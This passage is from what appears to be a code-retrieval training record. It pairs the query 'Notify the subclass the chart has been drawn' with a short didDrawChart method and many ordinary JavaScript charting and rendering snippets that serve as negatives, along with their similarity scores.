false;\r\n return false;\r\n }\r\n if (defaultPipeline && sceneManager.bloomEnabled) {\r\n sceneManager.bloomEnabled = false;\r\n return false;\r\n }\r\n if (sceneManager.processShadows) {\r\n sceneManager.processShadows = false;\r\n return false;\r\n }\r\n if (sceneManager.scene.getEngine().getHardwareScalingLevel() < 1) {\r\n var scaling = math_scalar_1.Scalar.Clamp(sceneManager.scene.getEngine().getHardwareScalingLevel() + 0.25, 0, 1);\r\n sceneManager.scene.getEngine().setHardwareScalingLevel(scaling);\r\n return false;\r\n }\r\n if (defaultPipeline && sceneManager.fxaaEnabled) {\r\n sceneManager.fxaaEnabled = false;\r\n return false;\r\n }\r\n if (sceneManager.groundEnabled) {\r\n sceneManager.groundEnabled = false;\r\n return false;\r\n }\r\n if (sceneManager.scene.postProcessesEnabled) {\r\n sceneManager.scene.postProcessesEnabled = false;\r\n return false;\r\n }\r\n if (sceneManager.scene.getEngine().getHardwareScalingLevel() < 1.25) {\r\n var scaling = math_scalar_1.Scalar.Clamp(sceneManager.scene.getEngine().getHardwareScalingLevel() + 0.25, 0, 1.25);\r\n sceneManager.scene.getEngine().setHardwareScalingLevel(scaling);\r\n return false;\r\n }\r\n // if (this.Scene.BackgroundHelper) {\r\n // \tthis.Scene.EngineScene.autoClear = true;\r\n // this.Scene.BackgroundHelper = false;\r\n // Would require a dedicated clear color;\r\n // return false;\r\n // }\r\n return true;\r\n}", "raw_material(data, editMode) {\n return new Promise(async (resolve, reject) => {\n let { DAO, entities } = this\n let {\n manufacturer,\n made_in,\n application,\n inci_name,\n functions,\n origin,\n lead_time,\n shelf_life,\n availability,\n packing,\n free_from } = data\n\n try {\n let newRawMaterial = {}\n if (editMode && !inci_name) {\n inci_name = undefined\n }\n else {\n newRawMaterial.inci_name = await entities.inci_name({ inci_name, DAO })\n }\n //\n if (editMode && !functions) {\n functions = undefined\n }\n else {\n newRawMaterial.functions = functions\n }\n //\n if (editMode && !origin) {\n origin = undefined\n }\n else {\n newRawMaterial.origin = await entities.origin({ origin, DAO })\n }\n //\n if (editMode && !manufacturer) {\n manufacturer = undefined\n }\n else {\n newRawMaterial.manufacturer = await entities.manufacturer(manufacturer)\n }\n //\n if (editMode && !made_in) {\n made_in = undefined\n }\n else {\n newRawMaterial.made_in = await entities.made_in({ made_in, DAO })\n }\n //\n if (editMode && !application) {\n application = undefined\n }\n else {\n newRawMaterial.application = await entities.application({ application, DAO })\n }\n //\n if (editMode && !shelf_life) {\n shelf_life = undefined\n }\n else {\n newRawMaterial.shelf_life = await entities.shelf_life({ shelf_life })\n }\n //\n if (editMode && !lead_time) {\n lead_time = undefined\n }\n else {\n newRawMaterial.lead_time = await entities.lead_time({ lead_time })\n }\n //\n if (editMode && !packing) {\n packing = undefined\n }\n else {\n newRawMaterial.packing = await entities.packing({ packing })\n }\n //\n if (editMode && !free_from) {\n free_from = undefined\n }\n else {\n newRawMaterial.free_from = await entities.free_from(free_from)\n }\n\n /* MOVE TO MARKETPLACE\n availability = await entities.availability({ availability, DAO })\n */\n\n resolve(newRawMaterial)\n }\n catch (erro) {\n reject(erro)\n }\n })\n }", "manageOptions () {\n if (Utils.isFunction(this.data.options)) {\n if (!this.options) {\n this.options = new Map();\n }\n const newOptions = this.data.options(this);\n // Looks for options not available anymore\n this.options.forEach((option) => {\n if (!newOptions.includes(option.getId())) {\n option.lock();\n }\n });\n // Add new options\n for (let i = 0, l = newOptions.length; i < l; ++i) {\n const id = newOptions[i];\n if (!this.options.has(id)) {\n const option = new Action(id, this.owner, this);\n this.options.push(option);\n this.optionsWrapper.appendChild(option.html);\n }\n }\n }\n }", "function writeOptionControls()\n{\n\t//Declare target object.\n\toSettingForm = document.getElementById('settingform');\n\n\t//Setting form markup.\n\tsSettingForm \t= '<table>'\n\t\t\t\t\t+ '<tr>'\n\t\t\t\t\t+ '<th colspan=\"3\">Options</th>'\n\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '<tr class=\"stretch-2\">'\n\t\t\t\t\t+ '<td><label>Settings CSS:</label></td>'\n\t\t\t\t\t+ '<td class=\"text-r squeeze-1\"><input type=\"button\" class=\"button\" value=\"Output\" onclick=\"generateSettingsStylesheetCode();\" /></td>'\n\t\t\t\t\t+ '<td><input type=\"button\" class=\"button\" value=\"Reset\" onclick=\"resetBlueprintSettings();\" /></td>'\n\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '<tr class=\"stretch-2\">'\n\t\t\t\t\t+ '<td><label>Layout CSS:</label></td>'\n\t\t\t\t\t+ '<td class=\"text-r squeeze-1\"><input type=\"button\" class=\"button\" value=\"Output\" onclick=\"generateLayoutStylesheetCode();\" /></td>'\n\t\t\t\t\t+ '<td><input type=\"button\" class=\"button\" value=\"Reset\" onclick=\"resetIdentifiers();\" /></td>'\n\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '<tr class=\"stretch-2\">'\n\t\t\t\t\t+ '<td><label>Template HTML:</label></td>'\n\t\t\t\t\t+ '<td class=\"text-r squeeze-1\"><input type=\"button\" class=\"button\" value=\"Output\" onclick=\"generateMarkupTemplateCode();\" /></td>'\n\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '<tr class=\"stretch-2\">'\n\t\t\t\t\t+ '<td><label>Wigdets CSS:</label></td>'\n\t\t\t\t\t+ '<td class=\"text-r squeeze-1\"><input type=\"button\" class=\"button\" value=\"Output\" onclick=\"generateWidgetsStyleSheetCode();\" /></td>'\n\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '<tr class=\"stretch-2\">'\n\t\t\t\t\t+ '<td><label>Wigdets JS:</label></td>'\n\t\t\t\t\t+ '<td class=\"text-r squeeze-1\"><input type=\"button\" class=\"button\" value=\"Output\" onclick=\"generateWidgetsJavascriptCode();\" /></td>'\n\t\t\t\t\t+ '</tr>'\n\t\t\t\t\t+ '</table>';\n\n\t//Attach form markup.\n\toSettingForm.innerHTML = sSettingForm;\n\n\treturn;\n}", "_setOptions(options) {\n //Refresh the widget\n let refresh = false, \n //recreate the pieces\n recreatePieces = false, \n //complete recreate the puzzle\n recreate = false;\n for (let option in options) {\n switch (option) {\n case \"namespace\":\n case \"classes\":\n recreate = true;\n break;\n case \"rows\":\n case \"columns\":\n recreatePieces = true;\n break;\n case \"onlyDropOnValid\":\n case \"feedbackOnHover\":\n case \"backgroundInSlots\":\n case \"randomPieceStartPosition\":\n refresh = true;\n break;\n }\n }\n if (recreate) {\n this._destroy();\n //@ts-ignore\n this._super(options);\n this._create();\n }\n else if (recreatePieces) {\n //@ts-ignore\n this._super(options);\n this.pieces = [];\n this.reset(false);\n this._construct();\n }\n else if (refresh) {\n //@ts-ignore\n this._super(options);\n this._applyClassModifiers();\n this.refresh();\n }\n }", "function prepareOptions(options, data) {\n options.canvas = true;\n var extraOptions = data.extraOptions;\n if(extraOptions !== undefined){\n var xOffset = options.xaxis.mode === \"time\" ? -36000000 : 0;\n var yOffset = options.yaxis.mode === \"time\" ? -36000000 : 0;\n\n if(!isNaN(extraOptions.minX))\n \toptions.xaxis.min = parseFloat(extraOptions.minX) + xOffset;\n \n if(!isNaN(extraOptions.maxX))\n \toptions.xaxis.max = parseFloat(extraOptions.maxX) + xOffset;\n \n if(!isNaN(extraOptions.minY))\n \toptions.yaxis.min = parseFloat(extraOptions.minY) + yOffset;\n \n if(!isNaN(extraOptions.maxY))\n \toptions.yaxis.max = parseFloat(extraOptions.maxY) + yOffset;\n }\n}", "function prepareOptions(options, data) {\n options.canvas = true;\n var extraOptions = data.extraOptions;\n if(extraOptions !== undefined){\n var xOffset = options.xaxis.mode === \"time\" ? -36000000 : 0;\n var yOffset = options.yaxis.mode === \"time\" ? -36000000 : 0;\n\n if(!isNaN(extraOptions.minX))\n \toptions.xaxis.min = parseFloat(extraOptions.minX) + xOffset;\n \n if(!isNaN(extraOptions.maxX))\n \toptions.xaxis.max = parseFloat(extraOptions.maxX) + xOffset;\n \n if(!isNaN(extraOptions.minY))\n \toptions.yaxis.min = parseFloat(extraOptions.minY) + yOffset;\n \n if(!isNaN(extraOptions.maxY))\n \toptions.yaxis.max = parseFloat(extraOptions.maxY) + yOffset;\n }\n}", "function prepareOptions(options, data) {\n options.canvas = true;\n var extraOptions = data.extraOptions;\n if(extraOptions !== undefined){\n var xOffset = options.xaxis.mode === \"time\" ? -36000000 : 0;\n var yOffset = options.yaxis.mode === \"time\" ? -36000000 : 0;\n\n if(!isNaN(extraOptions.minX))\n \toptions.xaxis.min = parseFloat(extraOptions.minX) + xOffset;\n \n if(!isNaN(extraOptions.maxX))\n \toptions.xaxis.max = parseFloat(extraOptions.maxX) + xOffset;\n \n if(!isNaN(extraOptions.minY))\n \toptions.yaxis.min = parseFloat(extraOptions.minY) + yOffset;\n \n if(!isNaN(extraOptions.maxY))\n \toptions.yaxis.max = parseFloat(extraOptions.maxY) + yOffset;\n }\n}" ]
[ "0.5721936", "0.55916715", "0.55391866", "0.55391866", "0.52916235", "0.5082886", "0.50686604", "0.50518405", "0.50449324", "0.5016474", "0.4988814", "0.4946376", "0.4932786", "0.49205786", "0.48910362", "0.4885217", "0.48618108", "0.48455173", "0.48450524", "0.48319453", "0.47909623", "0.47812113", "0.4779777", "0.47515166", "0.47469822", "0.47364613", "0.47282112", "0.47282112", "0.47198313", "0.47186768", "0.47027278", "0.4693275", "0.46874914", "0.46799362", "0.46664736", "0.46635124", "0.4663089", "0.46625668", "0.46596548", "0.4657524", "0.4651047", "0.46305388", "0.4630515", "0.46303022", "0.4608183", "0.4603878", "0.45989695", "0.4595955", "0.45934382", "0.45920625", "0.45910177", "0.45906436", "0.45905358", "0.45589954", "0.4548144", "0.4532405", "0.452823", "0.4520715", "0.45195866", "0.45194134", "0.45180193", "0.45166585", "0.45085597", "0.44962078", "0.44962078", "0.44962078", "0.44931513", "0.44884068", "0.4484544", "0.4483321", "0.4481872", "0.44685206", "0.44667587", "0.44626838", "0.44618437", "0.44466278", "0.4443756", "0.4438445", "0.44280633", "0.44280633", "0.4425492", "0.44237852", "0.4420017", "0.44191706", "0.4408443", "0.44050452", "0.4403557", "0.4403557", "0.44022304", "0.43957415", "0.43940723", "0.43920058", "0.43913233", "0.43718353", "0.4371604", "0.43626004", "0.43625855", "0.4359922", "0.43599206", "0.43599206", "0.43599206" ]
0.0
-1
Notify the subclass the chart has been drawn.
didDrawChart () { this.sendAction ('draw'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "draw() {\n this.plot = this.svg.append('g')\n .classed(\"plot\", true)\n .attr('transform', `translate(${this.margin.left},${this.margin.top})`);\n\n // Add the background\n this.plot.append(\"rect\")\n .attrs({\n fill: \"white\",\n x: 0,\n y: 0,\n height: this.innerHeight,\n width: this.innerWidth\n });\n\n if ( this.opts.nav !== false ) {\n this.drawNav();\n }\n\n // Add the title\n this.svg.append('text')\n .attr('transform', `translate(${this.width / 2},${this.margin.top / 2})`)\n .attr(\"class\", \"chart-title\")\n .attr('x', 0)\n .attr('y', 0)\n .text(this.title);\n }", "function finalDraw() {\n\t Registry.getComponentMethod('shapes', 'draw')(gd);\n\t Registry.getComponentMethod('images', 'draw')(gd);\n\t Registry.getComponentMethod('annotations', 'draw')(gd);\n\t Registry.getComponentMethod('legend', 'draw')(gd);\n\t Registry.getComponentMethod('rangeslider', 'draw')(gd);\n\t Registry.getComponentMethod('rangeselector', 'draw')(gd);\n\t Registry.getComponentMethod('sliders', 'draw')(gd);\n\t Registry.getComponentMethod('updatemenus', 'draw')(gd);\n\t }", "_drawChart()\n {\n\n }", "function finalDraw() {\n Registry.getComponentMethod('shapes', 'draw')(gd);\n Registry.getComponentMethod('images', 'draw')(gd);\n Registry.getComponentMethod('annotations', 'draw')(gd);\n Registry.getComponentMethod('legend', 'draw')(gd);\n Registry.getComponentMethod('rangeslider', 'draw')(gd);\n Registry.getComponentMethod('rangeselector', 'draw')(gd);\n Registry.getComponentMethod('sliders', 'draw')(gd);\n Registry.getComponentMethod('updatemenus', 'draw')(gd);\n }", "function finalDraw() {\n Registry.getComponentMethod('shapes', 'draw')(gd);\n Registry.getComponentMethod('images', 'draw')(gd);\n Registry.getComponentMethod('annotations', 'draw')(gd);\n Registry.getComponentMethod('legend', 'draw')(gd);\n Registry.getComponentMethod('rangeslider', 'draw')(gd);\n Registry.getComponentMethod('rangeselector', 'draw')(gd);\n Registry.getComponentMethod('sliders', 'draw')(gd);\n Registry.getComponentMethod('updatemenus', 'draw')(gd);\n }", "_drawProgressGraphic() {\n if (this.hasDrawGraphicHandler()) {\n this._drawGraphicHandler(this);\n }\n }", "function draw(){\n\t\t// Needed to comply with Tool Delegate design pattern\n\t}", "draw() {\n this._updateWidthHeight();\n\n this.initSvg();\n // bar char\n if (this.keysBar) {\n this.aggregateLabelsByKeys(this.selection, this.keysBar);\n }\n\n if (this.keysX && this.keysY) {\n this.aggregateValuesByKeys(this.selection, this.keysX, this.keysY);\n }\n\n this.barChart.draw();\n // scatterplot\n // this.scatter.draw();\n }", "@action.bound refreshChart() {\n this.newChart();\n }", "updateGraphicsData() {\n // override\n }", "didCreateChart (chart) {\n google.visualization.events.addListener (chart, 'ready', this.didReady.bind (this));\n google.visualization.events.addListener (chart, 'select', this.didSelect.bind (this));\n google.visualization.events.addListener (chart, 'error', this.didError.bind (this));\n google.visualization.events.addListener (chart, 'onmouseover', this.didMouseOver.bind (this));\n google.visualization.events.addListener (chart, 'onmouseout', this.didMouseOut.bind (this));\n }", "function updateChart() {\n extent = d3.event.selection;\n myCircle.classed(\"selected\", function(d){ return isBrushed(extent, x(d.xcol), y(d.ycol) ) } );\n }", "redraw() {\n\t\tif (this.isActive() && this._canvasLayer) this._canvasLayer.needRedraw();\n\t}", "componentDidUpdate() {\n this.createChart();\n }", "updateChart () {\n \n }", "function paint() {\n var chart = this,\n //Uses the original data and then manipulates it based on any existing options\n dataObj = chart.getBarDataFromOptions();\n\n //assign current data which is used by all bar chart operations\n chart.currentData = dataObj;\n\n //Overwrite any pre-existing zoom\n chart.config.zoomEvent = null;\n\n //generate svg dynamically based on legend data\n chart.generateSVG(dataObj.legendData);\n chart.generateXAxis(dataObj.xAxisData);\n chart.generateYAxis(dataObj.yAxisData);\n chart.generateLegend(dataObj.legendData, 'generateLine');\n\n if (typeof dataObj.xAxisScale.ticks === 'function') {\n chart.formatXAxisLabels(dataObj.xAxisScale.ticks().length);\n } else {\n chart.formatXAxisLabels(dataObj.xAxisScale.domain().length);\n }\n\n chart.generateLine(dataObj);\n}", "function updateChart() {\n extent = d3.event.selection;\n // console.log(extent);\n // console.log(x.invert(extent[0][0]));\n // lol();\n myCircle.classed(\"selected\", function(d){ return isBrushed(extent, x(d.Sepal_Length), y(d.Petal_Length) ) } )\n }", "function drawCompleteNotify(transition, node) {\n if (transition.ease) {\n transition.each(\"end\", report);\n } else {\n report();\n }\n\n function report() {\n var eventInfo = {detail: {drawComplete:true}, bubbles:true};\n node.dispatchEvent(new CustomEvent(\"chart\", eventInfo));\n }\n }", "draw() {\n this.loop(DrawableArray.drawFunction);\n }", "draw() {\n this.loop(DrawableArray.drawFunction);\n }", "draw() {\n this.loop(DrawableArray.drawFunction);\n }", "_chartistLoaded() {\n this.__chartistLoaded = true;\n this._renderChart();\n }", "update() {\n if (!this.suspendUpdate) {\n this.draw();\n this.legend.setSeriesViewRect(this.viewRect);\n this.legend.update();\n }\n }", "didInsertElement() {\n this._super(...arguments);\n let chartsCanvas = this.$('.chart-canvas')[0];\n this.set('_chartsCanvas', chartsCanvas);\n }", "function draw(){\n\t\tif (newFurniture != undefined) newFurniture.draw();\n\t}", "draw () {\n // TODO: try replacing with .emit('draw')\n for (const section of this.sections.values()) {\n section.draw()\n }\n }", "updateChart() {\n let xLabel = this.getChartX();\n let yLabel = this.getChartY();\n let t = this.getChartTargetArray();\n this.setChartData(this.json[xLabel], this.json[yLabel], t, xLabel, yLabel, this.getModel());\n }", "function renderClassChart() {\n\tclassHoverRect();\n\tincrementProgress();\n}", "updateHubblePlot() {\n this.updatePoints();\n this.addEventListeners();\n }", "function finalDraw() {\n\t Shapes.drawAll(gd);\n\t Images.draw(gd);\n\t Plotly.Annotations.drawAll(gd);\n\t Legend.draw(gd);\n\t RangeSlider.draw(gd);\n\t RangeSelector.draw(gd);\n\t }", "function updateChart() {\n extent = d3.event.selection;\n dots.classed(\"selected\", function(d) {\n return isBrushed(\n extent,\n xScale(d.visittime) + margin.left,\n yScale(d.safetylevel) + margin.top\n );\n });\n }", "function drawPointsChanged() {\n if (!drawPoints) {\n drawPoints = true\n } else {\n drawPoints = false\n };\n renderJob1.renderText();\n }", "function draw() {\n\n var isGridDrawn = false;\n\n if(graph.options.errorMessage) {\n var $errorMsg = $('<div class=\"elroi-error\">' + graph.options.errorMessage + '</div>')\n .addClass('alert box');\n\n graph.$el.find('.paper').prepend($errorMsg);\n }\n\n if(!graph.allSeries.length) {\n elroi.fn.grid(graph).draw();\n }\n\n $(graph.allSeries).each(function(i) {\n\n if(!isGridDrawn && graph.seriesOptions[i].type != 'pie') {\n elroi.fn.grid(graph).draw();\n isGridDrawn = true;\n }\n\n var type = graph.seriesOptions[i].type;\n elroi.fn[type](graph, graph.allSeries[i].series, i).draw();\n\n });\n\n }", "draw() {\r\n // ask for the old alerts\r\n for (var severity of [\"info\", \"warning\", \"alert\", \"value\"]) {\r\n // set the link to the widget\r\n $(\"#notification_\"+severity+\"_link\").attr(\"href\", \"#__notifications\"+\"=\"+severity.toUpperCase())\r\n // retrieve the counter from the database\r\n var message = new Message(gui)\r\n message.recipient = \"controller/db\"\r\n message.command = \"GET_COUNT\"\r\n message.args = severity\r\n message.set(\"timeframe\", \"last_24_hours\")\r\n message.set(\"scope\", \"alerts\")\r\n gui.sessions.register(message, {\r\n })\r\n this.send(message)\r\n }\r\n // subscribe for new alert\r\n this.add_broadcast_listener(\"+/+\", \"NOTIFY\", \"#\")\r\n // ask for manifest files needed for notifying about available updates\r\n this.listener = this.add_manifest_listener()\r\n }", "componentDidUpdate() {\n this.chart.update(this.props, this.state);\n }", "update(){\r\n this.draw();\r\n }", "startDraw(){\n if(!this.drawing) {\n this.drawing = true;\n this.then = Date.now();\n this.draw();\n }\n }", "draw() {\n\n this.drawInteractionArea();\n\n //somewhat depreciated - we only really draw the curve interaction but this isnt hurting anyone\n if(lineInteraction)\n this.drawLine();\n else\n this.drawCurve();\n\n this.drawWatch(); \n\n }", "componentDidUpdate() {\n\t\tthis.updateCanvas();\n\t}", "draw() {\n if (this._selected) {\n this.selectedDraw();\n }\n if (this._hovered) {\n this.hoveredDraw();\n }\n if (!this._hovered && !this._selected) {\n this.normalDraw();\n }\n this.isHovered();\n this.isClicked();\n }", "function redrawBallChart() {\n //setChartParameters();\n // svg.selectAll(\"g.y.axis\").call(yAxisGen);\n // svg.selectAll(\"g.x.axis\").call(xAxisGen);\n \n //selects all objects with the class solid, only one ball has that class in this case. \n svg.selectAll(\".solid\")\n .attr({\n cx: (ballDataToPlot - springLength)*parabolaXScale,\n cy: (height-topPad-textPad) - Math.pow((ballDataToPlot - springLength), 2) / parabolaYScale \n });\n\n if (newPoint) {\n svg.select(\".forTrace path\")\n .attr(\"d\", lineFunc(dataSet));\n newPoint = false;\n } \n }", "function updateDraw(){\r\n //ToDo\r\n }", "function drawAsync() {\n googleChartService.getReadyPromise()\n .then(draw);\n }", "function drawAsync() {\n googleChartService.getReadyPromise()\n .then(draw);\n }", "drawGraph() {\n logger.debug('ParticipantScore: drawGraph', this.props.graphType);\n const chart = this.chart;\n\n const timelineData = this.props.graphDatasets[GraphDatasetTypes.UTTERANCE_TIMELINE].data;\n logger.debug('ParticipantScore: timelineData', { timelineData });\n\n // Is this component trying to visualise an empty dataset?\n const emptyDataset = timelineData.utts.length === 0;\n if (emptyDataset) {\n chart.hide();\n this.props.dashboardGraphLoaded(this.props.graphType);\n return;\n }\n chart.show();\n\n const chartData = this.getGraphData();\n chart.data = chartData;\n }", "function postPlotDraw() {\n\t\t // Memory Leaks patch \n\t\t if (this.plugins.pieRenderer && this.plugins.pieRenderer.highlightCanvas) {\n\t\t this.plugins.pieRenderer.highlightCanvas.resetCanvas();\n\t\t this.plugins.pieRenderer.highlightCanvas = null;\n\t\t }\n\n\t\t this.plugins.pieRenderer = {highlightedSeriesIndex:null};\n\t\t this.plugins.pieRenderer.highlightCanvas = new $.jqplot.GenericCanvas();\n\n\t\t // do we have any data labels? if so, put highlight canvas before those\n\t\t var labels = $(this.targetId+' .jqplot-data-label');\n\t\t if (labels.length) {\n\t\t $(labels[0]).before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this));\n\t\t }\n\t\t // else put highlight canvas before event canvas.\n\t\t else {\n\t\t this.eventCanvas._elem.before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this));\n\t\t }\n\n\t\t var hctx = this.plugins.pieRenderer.highlightCanvas.setContext();\n\t\t }", "get drawn() {\n return this.__drawn;\n }", "function OnStateAvailable(self, state)\n {\n drawChart(self, state)\n set_value(self, state)\n }", "update() {\r\n this.paint();\r\n }", "update () {\r\n\t\tvar svg = d3.select(this.element);\r\n\t\tsvg.selectAll('*').remove();\r\n\t\tthis.drawChart();\r\n\t}", "_notifyRenderer() {\n this.renderer.notify();\n }", "draw() {\n this.worker.postMessage({\n type: 'draw',\n payload: null\n });\n }", "handleTick() {\n this.update()\n this.draw()\n }", "function postPlotDraw() {\n // Memory Leaks patch \n if (this.plugins.pieRenderer && this.plugins.pieRenderer.highlightCanvas) {\n this.plugins.pieRenderer.highlightCanvas.resetCanvas();\n this.plugins.pieRenderer.highlightCanvas = null;\n }\n\n this.plugins.pieRenderer = {highlightedSeriesIndex:null};\n this.plugins.pieRenderer.highlightCanvas = new $.jqplot.GenericCanvas();\n \n // do we have any data labels? if so, put highlight canvas before those\n var labels = $(this.targetId+' .jqplot-data-label');\n if (labels.length) {\n $(labels[0]).before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this));\n }\n // else put highlight canvas before event canvas.\n else {\n this.eventCanvas._elem.before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this));\n }\n \n var hctx = this.plugins.pieRenderer.highlightCanvas.setContext();\n this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); });\n }", "function _draw() {\n _map.baseLayer.container.appendChild(_self.container);\n _redraw();\n }", "requestRedraw () {\n this.redrawRequested = true;\n }", "function drawCharts() {\n\tdrawRecommendedInvestmentChart();\n}", "onPaint() {\n const me = this,\n {\n client\n } = me;\n\n if (me.drag) {\n me.drag.destroy();\n }\n\n me.drag = new DragHelper({\n name: 'percentBarHandle',\n mode: 'translateX',\n // Handle is not draggable for parents\n targetSelector: `${client.eventSelector}:not(.${client.eventCls}-parent) .b-task-percent-bar-handle`,\n dragThreshold: 1,\n listeners: {\n beforeDragStart: 'onBeforeDragStart',\n dragStart: 'onDragStart',\n drag: 'onDrag',\n drop: 'onDrop',\n abort: 'onDragAbort',\n thisObj: me\n }\n });\n me.detachListeners('view');\n me.client.on({\n name: 'view',\n [`${client.scheduledEventName}mouseenter`]: 'onTimeSpanMouseEnter',\n [`${client.scheduledEventName}mouseleave`]: 'onTimeSpanMouseLeave',\n thisObj: me\n });\n }", "componentDidUpdate() {\n this.drawArc();\n }", "function draw(count1, count2, id){\n \n google.charts.setOnLoadCallback(drawChart(count1, count2, id));\n }", "function coreDraw() {\r\n\t\t\tdrawMethod();\r\n\t\t\texecRequestAnimationFrameFnList();\r\n\t\t\t// if the tween component exists let's update it\r\n\t\t\tif (TWEEN) {\r\n\t\t\t\tTWEEN.update();\r\n\t\t\t}\r\n\t\t}", "function updateChart() {\n extent = d3.event.selection\n // Also updated to use the column names from merged.csv\n myCircle.classed(\"selected\", function (d) { return isBrushed(extent, x(d.Year), y(d.New_Displacements)) })\n }", "afterDrawEnd() {\n if (me.draw) {\n me.draw.setActive(false);\n }\n me.drawActive = false;\n HsQueryBaseService.activateQueries();\n }", "draw() {\n\t\tthis.newPosition()\n\t\tthis.hoverCalc()\n\n\n\t\t// this.drawWaves()\n\n\t\tthis.applyCircleStyle()\n\n\n\t\tthis.ly.circle( this.x, this.y, 2 * this.r * this.scale )\n\n\t\tthis.applyTextStyle()\n\t\tthis.ly.text( this.label, this.x, this.y )\n\n\n\n\t}", "redraw() {\n self.clear();\n self.draw();\n }", "function draw() {\n\t\t\tdrawGrid();\n\t\t\tdrawLabels();\n\t\t\tfor(var i = 0; i < series.length; i++){\n\t\t\t\tdrawSeries(series[i]);\n\t\t\t}\n\t\t}", "draw()\n\t{\n\t\t// if the scrollbar's marker position has changed then the layout must be updated:\n\t\tif (this._scrollbar.markerPos !== this._prevScrollbarMarkerPos)\n\t\t{\n\t\t\tthis._prevScrollbarMarkerPos = this._scrollbar.markerPos;\n\t\t\tthis._needUpdate = true;\n\t\t}\n\n\t\t// draw the decorations:\n\t\tsuper.draw();\n\n\t\t// draw the stimuli:\n\t\tfor (let i = 0; i < this._items.length; ++i)\n\t\t{\n\t\t\tif (this._visual.visibles[i])\n\t\t\t{\n\t\t\t\tconst textStim = this._visual.textStims[i];\n\t\t\t\ttextStim.draw();\n\n\t\t\t\tconst responseStim = this._visual.responseStims[i];\n\t\t\t\tif (responseStim)\n\t\t\t\t{\n\t\t\t\t\tresponseStim.draw();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// draw the scrollbar:\n\t\tthis._scrollbar.draw();\n\t}", "redraw() {\n\n }", "draw() {\n\n for (let i = 0; i < this.belt.length; i++) {\n this.belt[i].draw();\n }\n }", "function updateChart() {\n if(hasChartBeenMade === false) {\n makeChart();\n } else {\n myChart.data.labels = chartLabels;\n myChart.data.datasets[0].data = chartValues;\n }\n}", "static updateChart() {\n\t\tif(ChartManager.chartType === 'verticalbattle' ||\n\t\t\tChartManager.chartType === 'horizontalbattle') {\n\t\t\tupdateBattleChart();\n\t\t\treturn;\n\t\t} else if(ChartManager.chartType === 'horizontalBar') {\n\t\t\tChartManager.updateBarChart();\n\t\t} else {\n\t\t\tChartManager.updateNonRadarChart();\t\n\t\t}\n\n\t\tChartManager.chart.config.data = ChartManager.chartData;\n\t\tChartManager.chart.update();\n\t}", "static updateChart() {\n\t\tif(ChartManager.chartType === 'verticalbattle' ||\n\t\t\tChartManager.chartType === 'horizontalbattle') {\n\t\t\tupdateBattleChart();\n\t\t\treturn;\n\t\t} else if(ChartManager.chartType === 'horizontalBar') {\n\t\t\tChartManager.updateBarChart();\n\t\t} else {\n\t\t\tChartManager.updateNonRadarChart();\t\n\t\t}\n\n\t\tChartManager.chart.config.data = ChartManager.chartData;\n\t\tChartManager.chart.update();\n\t}", "function updateChart() {\n removePreviousChart();\n emptyChartData(chart);\n filterCategoryInsertion();\n displayChart(chart);\n}", "function drawChart() {\r\n drawSentimentBreakdown();\r\n drawSentimentTimeline();\r\n drawPopularityTimeline();\r\n}", "draw() {\n const _wasDrawn = this.drawn;\n this.drawRect();\n if (!_wasDrawn) {\n this.firstDraw();\n if (this.isString(this.componentName)) {\n this.drawMarkup();\n }\n if (this.isArray(this.options.classNames)) {\n this.options.classNames.forEach(_className => {\n this.setCSSClass(_className);\n });\n }\n this.options.style && this.setStyles(this.options.style);\n this.options.html && this.setHTML(this.options.html);\n // Extended draw for components to define / extend.\n // This is preferred over drawSubviews, when defining\n // parts of a complex component.\n if (this.isFunction(this.extDraw)) {\n this.extDraw();\n }\n // Extended draw for the purpose of drawing sub-views.\n this.drawSubviews();\n // if options contain a sub-views function, call it with the name-space of self\n if (this.isFunction(this.options.subviews)) {\n this.options.subviews.call(this, this);\n }\n // for external testing purposes, a custom className can be defined:\n if (this.options.testClassName) {\n ELEM.addClassName(this.elemId, this.options.testClassName);\n }\n if (this.isntNullOrUndefined(this.options.tabIndex)) {\n this.setTabIndex(this.options.tabIndex);\n }\n if (!this.isHidden) {\n this.show();\n }\n if (this.options.focusOnCreate === true && !BROWSER_TYPE.mobile) {\n this.timeouts.push(setTimeout(() => {this.setFocus();}, 300));\n }\n }\n this.refresh();\n return this;\n }", "notify(particle) {\n if (particle === null) {\n throw new TypeError();\n }\n this.drawParticle(particle);\n }", "notifyAnimationEnd() {}", "update(data) {\n this.data = data;\n this.destroy();\n drawChart.call(this);\n }", "function AbstractChartPainter() {\n\n}", "constructor() {\n super();\n this.draw();\n }", "function postPlotDraw() {\n // Memory Leaks patch \n if (this.plugins.barRenderer && this.plugins.barRenderer.highlightCanvas) {\n\n this.plugins.barRenderer.highlightCanvas.resetCanvas();\n this.plugins.barRenderer.highlightCanvas = null;\n }\n \n this.plugins.barRenderer = {highlightedSeriesIndex:null};\n this.plugins.barRenderer.highlightCanvas = new $.jqplot.GenericCanvas();\n \n this.eventCanvas._elem.before(this.plugins.barRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-barRenderer-highlight-canvas', this._plotDimensions, this));\n this.plugins.barRenderer.highlightCanvas.setContext();\n this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); });\n }", "_chartJsChanged(newValue) {\n this.initChart(newValue);\n }", "draw() {\n throw new Error('You have to implement this method');\n }", "didInsertElement() {\n this._super(...arguments);\n\n this.get('chart').select(null, [this.get('filteredChartData.length') - 1]);\n }", "function OnStateAvailable(self, state)\n {\n activateChart(self, state)\n }", "function OnStateAvailable(self, state)\n {\n activateChart(self, state)\n }", "draw() {\n 